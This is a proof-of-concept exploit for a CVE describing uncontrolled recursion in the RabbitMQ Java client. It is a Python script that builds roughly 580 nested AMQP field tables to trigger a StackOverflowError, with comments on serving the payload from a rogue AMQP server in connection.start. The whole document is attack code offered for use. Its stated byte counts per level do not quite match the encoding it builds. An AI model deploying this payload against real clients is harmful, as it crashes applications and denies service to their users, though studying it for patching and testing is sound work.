CVE-2026-69220: RabbitMQ Java Client Uncontrolled Recursion DoS via Nested AMQP Tables

# Minimal proof-of-concept: craft a connection.start server-properties field
# that nests ~580 AMQP tables to blow the default JVM stack (~512 KB, ~864 bytes/frame).
#
# AMQP wire encoding per nesting level (7 bytes each):
#   [4-byte table length][1-byte key length = 1][1-byte key = 'k'][1-byte type tag = 0x46 ('F')]
# ... then the inner table begins at byte 8 and repeats.
#
# Total payload size: 580 levels * 7 bytes = ~4060 bytes (well within the
# 131072-byte AMQP max frame size). Wrap in a valid connection.start frame
# and serve it from a rogue AMQP server on port 5672.

import struct

DEPTH = 580       # enough to overflow the default JVM stack
TABLE_TYPE = 0x46  # 'F' = nested table

def build_nested_table(depth):
    """Recursively build a right-nested AMQP field-table byte string."""
    if depth == 0:
        # innermost: empty table
        return struct.pack('>I', 0)  # 4-byte length = 0
    inner = build_nested_table(depth - 1)
    key   = b'\x01k'              # 1-byte length + 1-byte key 'k'
    entry = key + bytes([TABLE_TYPE]) + inner
    return struct.pack('>I', len(entry)) + entry

nested_payload = build_nested_table(DEPTH)

# Wrap in AMQP connection.start (frame type 1, channel 0, method 10/10)
# server-properties field is a long table; substitute nested_payload there.
# In a real attack, serve this from a socket listener on port 5672.
print(f'Nested table payload: {len(nested_payload)} bytes, depth={DEPTH}')
print('Serving this in connection.start server-properties triggers StackOverflowError')
print('on ValueReader.readTable() -> readFieldValue() -> readTable() ... recursion.')